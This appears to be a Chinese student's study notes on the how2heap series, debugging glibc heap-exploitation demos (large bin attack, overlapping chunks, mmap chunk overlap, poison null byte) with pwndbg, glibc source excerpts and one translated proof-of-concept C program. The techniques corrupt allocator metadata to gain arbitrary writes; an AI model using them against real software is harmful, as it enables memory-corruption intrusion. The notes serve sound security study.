How2heap系列

本文最后更新于:2023年6月19日 晚上

实验使用 wsl 进行,具体的 glibc 版本为 2.28,运行/lib/x86_64-linux-gnu/libc.so.6即可看到版本
image.png

安装 pwngdb+pwndbg

参考https://blog.csdn.net/weixin_43092232/article/details/105648769
配置如下
image.png

how2heap 概述

image.png
image.png
image.png
image.png

切换 glibc 版本

不到万不得已,不用apt-get install libc-bin=2.24-11+deb9u1 libc6=2.24-11+deb9u1

这个版本是通过

glibc 是动态链接库
所以可以指定程序的任意 glibc 版本哦,ubuntu 的 glibc-all-in-one 也可以直接用在 debian 上的!
image.png
然后参考
https://blog.csdn.net/qq_45595732/article/details/115385790
https://www.yuque.com/kaleido76/pwn/fn4432
https://blog.csdn.net/juluwangriyue/article/details/108617283
并运行类似
patchelf --set-interpreter /mnt/f/桌面/大三下/软件安全/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so overlapping1

patchelf --set-rpath /mnt/f/桌面/大三下/软件安全/glibc-all-in-one/libs/2.23-0ubuntu3_amd64 overlapping1

大功告成
image.png

first_fit-2.28

这里没有任何攻击,说的是 glibc 分配内存的方式是最先适应算法,空闲块按地址递增的顺序排列,只要求分配空间大小小于该空闲空间大小,就可以分配。实例中给了分配两个 chunk,大小分别为 512 和 256,大于 fastbin,然后写入数据并释放第一个 512chunk,释放的 chunk 在 unsorted bin 之中,之后再分配 500 字节。此时由于 glibc 机制,直接在 unsorted bin 中找到并将其分割,一部分给用户,另一部分保留,所以第三个 chunk 指针与之前第一个 chunk 的相同。
我们首先编译gcc first_fit.c -o first -g
然后gdb first进行调试
首先,输入 start
image.png
然后查看堆内存
image.png
可以看到还是没有的
然后 n 单步运行过 13 行,再次运行 heap,可以看到
image.png
即第一个 a 的地址就是 0x8005250,然后我们继续分配 b
image.png
可以发现 b 的地址是 0x8005770
而输出的数据是:
image.pngimage.png
这是因为我们知道 chunk 指针返回的是 mem 数据部分,chunk 在使用时的数据结构如下图:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
    An allocated chunk looks like this:
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of previous chunk, if unallocated (P clear) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of chunk, in bytes |A|M|P|
mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| User data starts here... .
. .
. (malloc_usable_size() bytes) .
. |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| (size of chunk, but used for application data) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of next chunk, in bytes |A|0|1|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

其中 chunk 定义的结构体如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
struct malloc_chunk {

INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */

struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;

/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};

每个字段的具体的解释如下

  • prev_size, 如果该 chunk 的物理相邻的前一地址 chunk(两个指针的地址差值为前一 chunk 大小)是空闲的话,那该字段记录的是前一个 chunk 的大小 (包括 chunk 头)。否则,该字段可以用来存储物理相邻的前一个 chunk 的数据。**这里的前一 chunk 指的是较低地址的 chunk **。
  • size ,该 chunk 的大小,大小必须是 2 _ SIZE_SZ 的整数倍。如果申请的内存大小不是 2 _ SIZE_SZ 的整数倍,会被转换满足大小的最小的 2 * SIZE_SZ 的倍数。32 位系统中,SIZE_SZ 是 4;64 位系统中,SIZE_SZ 是 8。 该字段的低三个比特位对 chunk 的大小没有影响,它们从高到低分别表示
    • NON_MAIN_ARENA,记录当前 chunk 是否不属于主线程,1 表示不属于,0 表示属于。
    • IS_MAPPED,记录当前 chunk 是否是由 mmap 分配的。
    • PREV_INUSE,记录前一个 chunk 块是否被分配。一般来说,堆中第一个被分配的内存块的 size 字段的 P 位都会被设置为 1,以便于防止访问前面的非法内存。当一个 chunk 的 size 的 P 位为 0 时,我们能通过 prev_size 字段来获取上一个 chunk 的大小以及地址。这也方便进行空闲 chunk 之间的合并。
  • fd,bk。 chunk 处于分配状态时,从 fd 字段开始是用户的数据。chunk 空闲时,会被添加到对应的空闲管理链表中,其字段的含义如下
    • fd 指向下一个(非物理相邻)空闲的 chunk
    • bk 指向上一个(非物理相邻)空闲的 chunk
    • 通过 fd 和 bk 可以将空闲的 chunk 块加入到空闲的 chunk 块链表进行统一管理
  • fd_nextsize, bk_nextsize,也是只有 chunk 空闲的时候才使用,不过其用于较大的 chunk(large chunk)。
    • fd_nextsize 指向前一个与当前 chunk 大小不同的第一个空闲块,不包含 bin 的头指针。
    • bk_nextsize 指向后一个与当前 chunk 大小不同的第一个空闲块,不包含 bin 的头指针。
    • 一般空闲的 large chunk 在 fd 的遍历顺序中,按照由大到小的顺序排列。这样做可以避免在寻找合适 chunk 时挨个遍历。

也就是说 malloc 返回的指针就是 chunk 的 fd 指针处,返回内存指针地址-0x10 是 chunk 块的真正头部。
这个时候我们可以查看以下两个 chunk 的结构:
image.pngimage.png
验证了我们的想法

GDB 调试查看 Chunk 内存的时候,在 32 位系统的时候用 w(四字节 32 位),在 64 位系统的时候用 g(八字节 64 位)

这时候我们往 a 的内存里面写入了”this is A!”的数据
image.png
查看指针处数据
image.png
写入的数据就是上述字符串的 ASCII 码
当我们执行 free(a)释放 a 的内存块后,可以发现 a 先被放入了 unsortedbin 中,且 fd 指针和 bk 指针都指向了 main_arena
image.png
image.png
执行 c = malloc(0x500),发现 c 分配到的内存块就是原来 a 分配到的内存块
image.png
image.png
在 glibc-2.28 中,内存块全部分配,不在中 unsorted bin 保留
image.png
然后在写入”This is C!”后查看内存情况
image.png
可以发现和从之前的 0x41 变成了 0x43,说明从 A 变成了 C,然后继续执行
image.png
这说明这里其实存在一个漏洞:free 掉之后没有把指针置 0,造成一个 UAF(use after free)漏洞。就是 a 已经 free 掉之后又重新把那块地址分配回来再编辑会把 a 所指向的地址的内容也编辑了(也就是这个时候 a 跟 c 指向的是同一内存地址)。
修补:free 掉 a 之后,让 a 再指向 null。

large_bin_attack-2.23

程序运行结果如下:
image.png
该技术可用于修改任意地址的值,例如栈上的变量 stack_var1 和 stack_var2。在实践中常常作为其他漏洞利用的前奏,例如在 fastbin attack 中用于修改全局变量 global_max_fast 为一个很大的值。
首先我们分配 chunk p1, p2 和 p3,并且在它们之间插入其他的 chunk 以防止在释放时被合并。此时的内存布局如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
pwndbg> x/2gx &stack_var1
0x7ffffffed9d0: 0x0000000000000000 0x00000000080079b0
pwndbg> x/8gx p1-6
0x8006fe0: 0x0000000000000000 0x0000000000000000
0x8006ff0: 0x0000000000000000 0x0000000000000000
0x8007000: 0x0000000000000000 0x0000000000000431 <-- p1
0x8007010: 0x0000000000000000 0x0000000000000000
pwndbg> x/8gx p2-6
0x8007440: 0x0000000000000000 0x0000000000000000
0x8007450: 0x0000000000000000 0x0000000000000000
0x8007460: 0x0000000000000000 0x0000000000000511 <-- p2
0x8007470: 0x0000000000000000 0x0000000000000000
pwndbg> x/8gx p3-6
0x8007980: 0x0000000000000000 0x0000000000000000
0x8007990: 0x0000000000000000 0x0000000000000000
0x80079a0: 0x0000000000000000 0x0000000000000511 <-- p3
0x80079b0: 0x0000000000000000 0x0000000000000000
pwndbg> x/8gx p3+(0x510/8)-2
0x8007eb0: 0x0000000000000000 0x0000000000020151 <-- top
0x8007ec0: 0x0000000000000000 0x0000000000000000
0x8007ed0: 0x0000000000000000 0x0000000000000000
0x8007ee0: 0x0000000000000000 0x0000000000000000

然后依次释放掉 p1 和 p2,这两个 free chunk 将被放入 unsorted bin
image.png
内存布局即:

1
2
3
4
5
6
7
8
9
10
pwndbg> x/8gx p1-2
0x8007000: 0x0000000000000000 0x0000000000000431 <-- p1 [be freed]
0x8007010: 0x00007fffff3f3b78 0x0000000008007460
0x8007020: 0x0000000000000000 0x0000000000000000
0x8007030: 0x0000000000000000 0x0000000000000000
pwndbg> x/8gx p2-2
0x8007460: 0x0000000000000000 0x0000000000000511 <-- p2 [be freed]
0x8007470: 0x0000000008007000 0x00007fffff3f3b78
0x8007480: 0x0000000000000000 0x0000000000000000
0x8007490: 0x0000000000000000 0x0000000000000000

类似这样image.png
接下来随便 malloc 一个大小为 0x90 的 chunk,则 p1 被切分为两块,一块作为分配的 chunk 返回,剩下的一块继续留在 unsorted bin.(p1 的作用就在这里,如果没有 p1,那么切分的将是 p2)。
要注意的是:切割后 p1 的大小是 0x390 < 0x3f0 大小属于 small bin,而 p2 的大小是 0x510 属于 large bin。
p2 则被整理回对应的 large bin 链表中:
image.png
过程如下:

  • 从 unsorted bin 中拿出最后一个 chunk(p1 属于 small bin 的范围)
  • 把这个 chunk 放入 small bin 中,并标记这个 small bin 有空闲的 chunk
  • 再从 unsorted bin 中拿出最后一个 chunk(p2 属于 large bin 的范围)
  • 把这个 chunk 放入 large bin 中,并标记这个 large bin 有空闲的 chunk
  • 现在 unsorted bin 为空,从 small bin (p1)中分配一个小的 chunk 满足请求 0x90,并把剩下的 chunk(0x330 - 0xa0)放入 unsorted bin 中

此时的内存布局如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pwndbg> x/40gx p1-2
0x8007000: 0x0000000000000000<p1-2 0x00000000000000a1<-- p1-1
0x8007010: 0x00007fffff3f3f68 0x00007fffff3f3f68
0x8007020: 0x0000000008007000 0x0000000008007000
0x8007030: 0x0000000000000000 0x0000000000000000
0x8007040: 0x0000000000000000 0x0000000000000000
0x8007050: 0x0000000000000000 0x0000000000000000
0x8007060: 0x0000000000000000 0x0000000000000000
0x8007070: 0x0000000000000000 0x0000000000000000
0x8007080: 0x0000000000000000 0x0000000000000000
0x8007090: 0x0000000000000000 0x0000000000000000
0x80070a0: 0x0000000000000000 0x0000000000000391 <-- p1-2 [be freed]
0x80070b0: 0x00007fffff3f3b78 0x00007fffff3f3b78 <-- fd, bk
0x80070c0: 0x0000000000000000 0x0000000000000000
0x80070d0: 0x0000000000000000 0x0000000000000000
0x80070e0: 0x0000000000000000 0x0000000000000000
0x80070f0: 0x0000000000000000 0x0000000000000000
0x8007100: 0x0000000000000000 0x0000000000000000
0x8007110: 0x0000000000000000 0x0000000000000000
0x8007120: 0x0000000000000000 0x0000000000000000
0x8007130: 0x0000000000000000 0x0000000000000000
pwndbg> x/8gx p2-2
0x8007460: 0x0000000000000000 0x0000000000000511 <-- p2-2 [be freed]
0x8007470: 0x00007fffff3f3fa8 0x00007fffff3f3fa8 <-- fd, bk
0x8007480: 0x0000000008007460 0x0000000008007460 <-- fd_nextsize, bk_nextsize
0x8007490: 0x0000000000000000 0x0000000000000000

整理的过程如下所示,需要注意的是 large bins 中 chunk 按 fd 指针的顺序从大到小排列,如果大小相同则按照最近使用顺序排列:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
/* place chunk in bin */

if (in_smallbin_range (size))
{
[ ... ]
}
else
{
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;

/* maintain large bins in sorted order */
if (fwd != bck)
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert ((bck->bk->size & NON_MAIN_ARENA) == 0);
if ((unsigned long) (size) < (unsigned long) (bck->bk->size))
{
[ ... ]
}
else
{
assert ((fwd->size & NON_MAIN_ARENA) == 0);
while ((unsigned long) size < fwd->size)
{
[ ... ]
}

if ((unsigned long) size == (unsigned long) fwd->size)
[ ... ]
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
}
}
else
[ ... ]
}

mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

又 free 了一个大小为 0x510 的 large bin chunk。
image.png
也就是说现在 unsorted bin 有两个空闲的 chunk,末尾是大小 0x390 大小的 chunk,第一个是 size 为 0x510 的 chunk。
现在,我们分配一个大小小于释放的第一个大块的块。这将把释放的第二个大块移动到 largebin 列表中,使用释放的第一个大块的部分进行分配,并将释放的第一个大块的剩余部分重新插入 unsorted bin 中: [0x80070a0]
image.png
然后我们修改 p2(large bin chunk),修改结果如下:
image.png
此时的内存布局变为:

1
2
3
4
5
pwndbg> x/8gx p2-2
0x8007460: 0x0000000000000000 0x00000000000003f1
0x8007470: 0x0000000000000000 0x00007ffffffed9c0
0x8007480: 0x0000000000000000 0x00007ffffffed9a8
0x8007490: 0x0000000000000000 0x0000000000000000

image.png
进行 malloc(0x90) 操作,此时

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pwndbg> x/8gx p2-2
0x8007460: 0x0000000000000000 0x00000000000003f1
0x8007470: 0x0000000000000000 0x00000000080079a0
0x8007480: 0x0000000000000000 0x00000000080079a0
0x8007490: 0x0000000000000000 0x0000000000000000
pwndbg> x/8gx p3-2
0x80079a0: 0x0000000000000000 0x0000000000000511
0x80079b0: 0x0000000008007460 0x00007ffffffed9c0
0x80079c0: 0x0000000008007460 0x00007ffffffed9a8
0x80079d0: 0x0000000000000000 0x0000000000000000
pwndbg> x/2gx &stack_var1
0x7ffffffed9d0: 0x00000000080079a0 0x00000000080079b0
pwndbg> x/2gx &stack_var2
0x7ffffffed9c8: 0x00000000080079a0 0x00000000080079a0

可以看到,栈上的两个变量也被修改成了 victim,对应的语句分别是 bck->fd = victim; 和 ictim->bk_nextsize->fd_nextsize = victim;。
与第一次 malloc(0x90) 过程类似:

  • 从 unsorted bin 中拿出最后一个 chunk(size = 0390),放入 small bin 中,标记该序列的 small bin 有空闲 chunk
  • 再从 unsorted bin 中拿出最后一个 chunk(size = 0x510)

由于这个过程中判断条件 (unsigned long) (size) < (unsigned long) (bck->bk->size) 为假,程序将进入 else 分支,
image.png
其中 fwd 是 fake p2,victim 是 p3,接着 bck 被赋值为 (&stack_var1 - 2)。
image.png
在一个序列的 large bin chunk 中 fd_nextsize 的方向是 size 变小的方向。这个循环的意思是找到一个比当前 fwd 指的 chunk 要大的地址,存入 fwd 中
由于当前 fwd 的 size 被我们修改过 =0x3f0,所以没有进入循环。
image.png
这个原本的意思是把从 unsorted bin 中来的 chunk 插入这个序列中,但是这里没有检查合法性。这里存在这一个利用:
之前做的构造,把 fwd 的 bk_nextsize 指向了另一个地址。

1
2
3
victim->bk_nextsize = fwd->bk_nextsize
// then
victim->bk_nextsize->fd_nextsize = victim;

也就是:

1
2
3
addr2->fd_nextsize = victim;
// 等价于
*(addr2+4) = victim;

所以修改了 stack_var2 的值。
接着还存着另外一个利用:

1
2
3
4
5
6
7
bck = fwd->bk;
// ......
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

修改了 stack_var1 的值。至此利用完毕。
总结一下利用的条件

  • 可以修改一个 large bin chunk 的 data
  • 从 unsorted bin 中来的 large bin chunk 要紧跟在被构造过的 chunk 的后面

overlapping_chunks-2.23

运行调试,在进行过 3 次 malloc 后
image.png
查看 heap 信息
image.png
然后给三个 chunk 赋初值
image.png
image.png
然后我们 free 掉 p2,
image.png
发现它被加入到 unsortedbin 链表中
现在让我们模拟一个可以改写 p2.size 的溢出。
image.png
对于我们这个例子来讲三个标志位影响不是很大,但是为了保持堆的稳定性,还是不要随意改动。
至少我们要确保 pre_in_use 为 true,不要让 p1 被误认为被 free 了。
我们将 p2 的 size 改写为 0x181,之后的 malloc 就会返回给我们一个 0x178(可使用大小)的堆块。
image.png
返回给 p4 的地址就是原来 p2 的,而且 p4 中包含了还没被 free 的 p3。
image.png
能够产生的原因在于 ptmalloc 在对堆 chunk 进行操作时使用的各种宏。
在 ptmalloc 中,获取 chunk 块大小的操作如下

1
2
3
4
5
/* Get size, ignoring use bits */
#define chunksize(p) (chunksize_nomask(p) & ~(SIZE_BITS))

/* Like chunksize, but do not mask SIZE_BITS. */
#define chunksize_nomask(p) ((p)->mchunk_size)

一种是直接获取 chunk 的大小,不忽略掩码部分,另外一种是忽略掩码部分。在 ptmalloc 中,获取下一 chunk 块地址的操作如下

1
2
/* Ptr to next physical malloc_chunk. */
#define next_chunk(p) ((mchunkptr)(((char *) (p)) + chunksize(p)))

即使用当前块指针加上当前块大小。在 ptmalloc 中,获取前一个 chunk 信息的操作如下

1
2
3
4
5
/* Size of the chunk below P.  Only valid if prev_inuse (P).  */
#define prev_size(p) ((p)->mchunk_prev_size)

/* Ptr to previous physical malloc_chunk. Only valid if prev_inuse (P). */
#define prev_chunk(p) ((mchunkptr)(((char *) (p)) - prev_size(p)))

即通过 malloc_chunk->prev_size 获取前一块大小,然后使用本 chunk 地址减去所得大小。
在 ptmalloc,判断当前 chunk 是否是 use 状态的操作如下:

1
2
#define inuse(p)
((((mchunkptr)(((char *) (p)) + chunksize(p)))->mchunk_size) & PREV_INUSE)

即查看下一 chunk 的 prev_inuse 域,而下一块地址又如我们前面所述是根据当前 chunk 的 size 计算得出的。
简而言之,chunk extend 就是通过控制 size 和 pre_size 域来实现跨越块操作从而导致 overlapping 的。

overlapping_chunks_2-2.23

这是一个简单的堆块重叠问题。
也被称为非相邻 free chunk 合并攻击。
首先 malloc 五个堆块:
image.png
查看此时 heap
image.png
输出

1
2
3
4
5
chunk p1 from 0x8007010 to 0x80073f840
chunk p2 from 0x8007400 to 0x80077e841
chunk p3 from 0x80077f0 to 0x8007bd842
chunk p4 from 0x8007be0 to 0x8007fc843
chunk p5 from 0x8007fd0 to 0x80083b8

然后填充赋值
image.png
查看
image.png
此时释放 p4,因为 p5 的存在所以 p4 不会被合并。
image.png
然后我们在 p1 触发一个溢出,将 p2 的 size 改写成 p2 和 p3 大小的和。之后更新 presize 的时候是通过 p2 的地址加上 p2 的 size 来寻找的要修改的位置的,这里刚好就把 p4 头部的 presize 给改掉了。
之后 free(p2)的时候,分配器就会认为 p4 是下一个块。然后就会错误地将 p3 和 p2 合并。
image.png
这时候 malloc 一个大小 2000 的堆 p6<0xbd1,返回给 p6 的地址就是 p2 的地址了,p6 内部也包含了未被 free 的 p3,又造成了 overlapping,修改 p6 内容即可修改 p3 内容。
image.png
我们就可以用 p6 改写 p3 中的任何数据。
image.pngimage.png
查看 p3 数据
image.png
修改之后
image.png
与之前的 overlapping 相比,之前的是释放后修改 size,重新申请后覆盖了后面的堆;这个是先修改 size,使之大小覆盖了后面的堆,再释放后和已释放的大后个堆合并,包含了要覆盖的堆,重新申请后即可覆盖包含的堆的内容。

mmap_overlapping_chunks-2.28

代码翻译如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#include <stdlib.h>
#include <stdio.h>

int main(){

int* ptr1 = malloc(0x10);

printf("这种技术依然是 overlapping 但是针对的是比较大的 (通过 mmap 申请的)\n");
printf("分配大的 chunk 是比较特殊的,因为他们分配在单独的内存中,而不是普通的堆中\n");
printf("分配三个大小为 0x100000 的 chunk \n\n");

long long* top_ptr = malloc(0x100000);
printf("第一个 mmap 块位于 Libc 上方: %p\n",top_ptr);
long long* mmap_chunk_2 = malloc(0x100000);
printf("第二个 mmap 块位于 Libc 下方: %p\n", mmap_chunk_2);
long long* mmap_chunk_3 = malloc(0x100000);
printf("第三个 mmap 块低于第二个 mmap 块: %p\n", mmap_chunk_3);

printf("\n当前系统内存布局\n" \
"================================================\n" \
"running program\n" \
"heap\n" \
"....\n" \
"third mmap chunk\n" \
"second mmap chunk\n" \
"LibC\n" \
"....\n" \
"ld\n" \
"first mmap chunk\n"
"===============================================\n\n" \
);

printf("第一个 mmap 的 prev_size: 0x%llx\n", mmap_chunk_3[-2]);
printf("第三个 mmap 的 size: 0x%llx\n\n", mmap_chunk_3[-1]);

printf("假设有一个漏洞可以更改第三个 mmap 的大小,让他与第二个 mmap 块重叠\n");
mmap_chunk_3[-1] = (0xFFFFFFFFFD & mmap_chunk_3[-1]) + (0xFFFFFFFFFD & mmap_chunk_2[-1]) | 2;
printf("现在改掉的第三个 mmap 块的大小是: 0x%llx\n", mmap_chunk_3[-1]);
printf("free 掉第三个 mmap 块,\n\n");

free(mmap_chunk_3);

printf("再分配一个很大的 mmap chunk\n");
long long* overlapping_chunk = malloc(0x300000);
printf("新申请的 Overlapped chunk 在: %p\n", overlapping_chunk);
printf("Overlapped chunk 的大小是: 0x%llx\n", overlapping_chunk[-1]);

int distance = mmap_chunk_2 - overlapping_chunk;
printf("新的堆块与第二个 mmap 块之间的距离: 0x%x\n", distance);
printf("写入之前 mmap chunk2 的 index0 写的是: %llx\n", mmap_chunk_2[0]);

printf("编辑 overlapping chunk 的值\n");
overlapping_chunk[distance] = 0x1122334455667788;

printf("写之后第二个 chunk 的值: 0x%llx\n", mmap_chunk_2[0]);
printf("Overlapped chunk 的值: 0x%llx\n\n", overlapping_chunk[distance]);
printf("新块已与先前的块重叠\n");
}

一开始申请了 3 个 0x100000 大小的堆
image.png
可以看到,普通堆区并没有分配的 0x100000 大小的堆。
然后查看相应的内存布局:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
pwndbg> n
The first mmap chunk goes directly above LibC: 0x7fffff6a0010
The second mmap chunk goes below LibC: 0x7fffff520010
The third mmap chunk goes below the second mmap chunk: 0x7ffffef20010
pwndbg> x/10gx 0x7fffff6a0000
0x7fffff6a0000: 0x0000000000000000 0x0000000000101002
0x7fffff6a0010: 0x0000000000000000 0x0000000000000000
0x7fffff6a0020: 0x0000000000000000 0x0000000000000000
0x7fffff6a0030: 0x0000000000000000 0x0000000000000000
0x7fffff6a0040: 0x0000000000000000 0x0000000000000000
pwndbg> x/10gx 0x7fffff520000
0x7fffff520000: 0x0000000000000000 0x0000000000101002
0x7fffff520010: 0x0000000000000000 0x0000000000000000
0x7fffff520020: 0x0000000000000000 0x0000000000000000
0x7fffff520030: 0x0000000000000000 0x0000000000000000
0x7fffff520040: 0x0000000000000000 0x0000000000000000
pwndbg> x/10gx 0x7ffffef20000
0x7ffffef20000: 0x0000000000000000 0x0000000000101002
0x7ffffef20010: 0x0000000000000000 0x0000000000000000
0x7ffffef20020: 0x0000000000000000 0x0000000000000000
0x7ffffef20030: 0x0000000000000000 0x0000000000000000
0x7ffffef20040: 0x0000000000000000 0x0000000000000000

然后把第三个的 size 改成 0x202002
image.png
free 掉第三个,然后再去 malloc(0x300000)
image.png
image.png
新块距离第二个 mmap 块 0x42000
image.png
写入前 mmap 块 2 的索引 0 的值:0
写入后:
image.png
这样通过对新创建的堆块进行写操作就可以覆盖掉原本第二个那里的数据。
image.png

poison_null_byte-2.23

翻译:
这个技术可被用于当可以被 malloc 的区域(也就是 heap 区域)存在一个单字节溢出漏洞的时候。
我们先分配 0x100 个字节的内存,代号’a’。
image.png
如果我们想要去溢出 a 的话,我们需要知道它的实际大小(因为空间复用的存在),在我的机器上是 0x108。
为什么是 0x108 呢,是因为所以 chunk 的头部需要占用 0x10 字节,但是 chunk 可以使用下一个 chunk 头部的 prev_size 位,就节省了 0x8 字节,所以最后是占用了 0x108 字节。
image.png
然后接着我们分配 0x200 个字节,代号’b’。
image.png
此时堆内存布局如下:
image.png
再分配 0x100 个字节,代号’c’。
image.png
然后分配一个 0x100 字节的 barrier 在 0x8008440,以便在释放时 c 不会与顶部块合并(这个障碍并不是绝对必要的,但是可以让事情变得不那么混乱)
image.png
在新版 glibc 环境下,我们需要在 b 内部更新 size 来逃避检测 ‘chunksize(P) != prev_size (next_chunk(P))’

1
2
*(size_t*)(b+0x1f0) = 0x200;
free(b)

image.png
image.pngimage.png
此时堆内存布局如下:
image.png

我们在 a 实现一个单字节的 null byte 溢出。
image.png
可以看到 b 的 size 变成了 0x200
image.png
image.png
为了在修改 chunk b 的 size 字段后,依然能通过 unlink 的检查,我们需要伪造一个 c.prev_size 字段,字段的大小是很好计算的,即

1
(0x211 & 0xff00) == 0x200

然而此时 c.presize = 0x210 但是没关系我们还是能逃过掉前面那个检查,根据

  • chunksize(P) == _((size_t_)(b-0x8)) == 0x200

image.png

  • prev_size (next_chunk(P)) == _(size_t_)(b-0x10 + 0x200) == 0x200

image.png
可以成功绕过检查。另外 unsorted bin 中的 chunk 大小也变成了 0x200
image.png
此时 c 附近的内存布局为:
image.png
然后 malloc 一个大小 0x100 的
image.png
返回给 b1 的地址就是前面 free 掉的 b 的地址。
这个时候 chunk c 的 prev_size 本应该变为 0xf0(0x200-0x110)。
注意分配堆块后,发生变化的是 fake c.prev_size,而不是 c.prev_size。现在 C 的 presize 在原来地址的前 0x10 bytes 处(2 个单元)更新。

1
2
3
4
5
6
pwndbg> x/10gx c-0x20
0x8008310: 0x00000000000000f0 0x0000000000000000 <-fake chunk
0x8008320: 0x0000000000000210 0x0000000000000110 <-chunk c
0x8008330: 0x0000000000000000 0x0000000000000000
0x8008340: 0x0000000000000000 0x0000000000000000
0x8008350: 0x0000000000000000 0x0000000000000000

所以 chunk c 依然认为 chunk b 的地方有一个大小为 0x210 的 free chunk。但其实这片内存已经被分配给了 chunk b1。
再 b2 = malloc(0x80);
image.png
查看 b2 内容
image.png
之后我们将 b1 和 c 依次 free。这会导致 b1 开始的位置一直到 c 的末尾中间的内存会合并成一块。
image.png
为什么会发生合并?
在我们第一次 free(b)之前,进行了如下的设置:

1
*(size_t*)(b+0x1f0) = 0x200;

这一步确保了我们之后进行 null byte 溢出后,还能成功 free(b),逃过** ‘chunksize(P) != prev_size (next_chunk(P))’** 的检查。
之后分配 b1 和 b2 的时候,presize 也会一直在(b+0x1f0)处更新。
而在最后 free(c)的时候,检查的是 c 的 presize 位,而因为最开始的 null byte 溢出,导致这块区域的值一直没被更新,一直是 b 最开始的大小 0x210 。
我们知道,两个相邻的 small chunk 被释放后会被合并在一起。首先释放 chunk b1,伪造出 fake chunk b 是 free chunk 的样子。然后释放 chunk c,因为 chunk c 的 prevsize 没有变化,这个时候 chunk c 会认为 chunk b1 就是 chunk b,这时程序会发现 chunk c 的前一个 chunk 是一个 free chunk,然后就将它们合并在了一起,并从 unsorted bin 中取出来合并进了 top chunk。 chunk b2 位于 chunk b1 和 chunk c 之间,被直接无视了,现在 malloc 认为这整块区域都是未分配的。

补充:

chunk 合并的过程如下,首先该 chunk 与前一个 chunk 合并,然后检查下一个 chunk 是否为 top chunk,如果不是,将合并后的 chunk 放回 unsorted bin 中,否则,合并进 top chunk:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
  /* consolidate backward */
if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}

if (nextchunk != av->top) {
/*
Place the chunk in unsorted chunk list. Chunks are
not placed into regular bins until after they have
been given one chance to be used in malloc.
*/
[...]
}

/*
If the chunk borders the current high end of memory,
consolidate into top
*/

else {
size += nextsize;
set_head(p, size | PREV_INUSE);
av->top = p;
check_chunk(av, p);
}

d = malloc(0x300);之后
image.png
返回的地址还是原来 b 的地址(0x8008120-0x10),刚才没有 free 的 b2 也被包含在了里面
image.png
查看 b2 内容
image.png
该技术适用的场景需要某个 malloc 的内存区域存在一个单字节溢出漏洞。通过溢出下一个 chunk 的 size 字段,攻击者能够在堆中创造出重叠的内存块,从而达到改写其他数据的目的。再结合其他的利用方式,同样能够获得程序的控制权。
对于单字节溢出的利用有下面几种:

  • 扩展被释放块:当溢出块的下一块为被释放块且处于 unsorted bin 中,则通过溢出一个字节来将其大小扩大,下次取得次块时就意味着其后的块将被覆盖而造成进一步的溢出。
1
2
3
4
5
6
7
8
9
10
11
  0x100   0x100    0x80
|-------|-------|-------|
| A | B | C | 初始状态
|-------|-------|-------|
| A | B | C | 释放 B
|-------|-------|-------|
| A | B | C | 溢出 B 的 size 为 0x180
|-------|-------|-------|
| A | B | C | malloc(0x180-8)
|-------|-------|-------| C 块被覆盖
|<--实际得到的块->|
  • 扩展已分配块:当溢出块的下一块为使用中的块,则需要合理控制溢出的字节,使其被释放时的合并操作能够顺利进行,例如直接加上下一块的大小使其完全被覆盖。下一次分配对应大小时,即可取得已经被扩大的块,并造成进一步溢出。
1
2
3
4
5
6
7
8
9
10
11
  0x100   0x100    0x80
|-------|-------|-------|
| A | B | C | 初始状态
|-------|-------|-------|
| A | B | C | 溢出 B 的 size 为 0x180
|-------|-------|-------|
| A | B | C | 释放 B
|-------|-------|-------|
| A | B | C | malloc(0x180-8)
|-------|-------|-------| C 块被覆盖
|<--实际得到的块->|
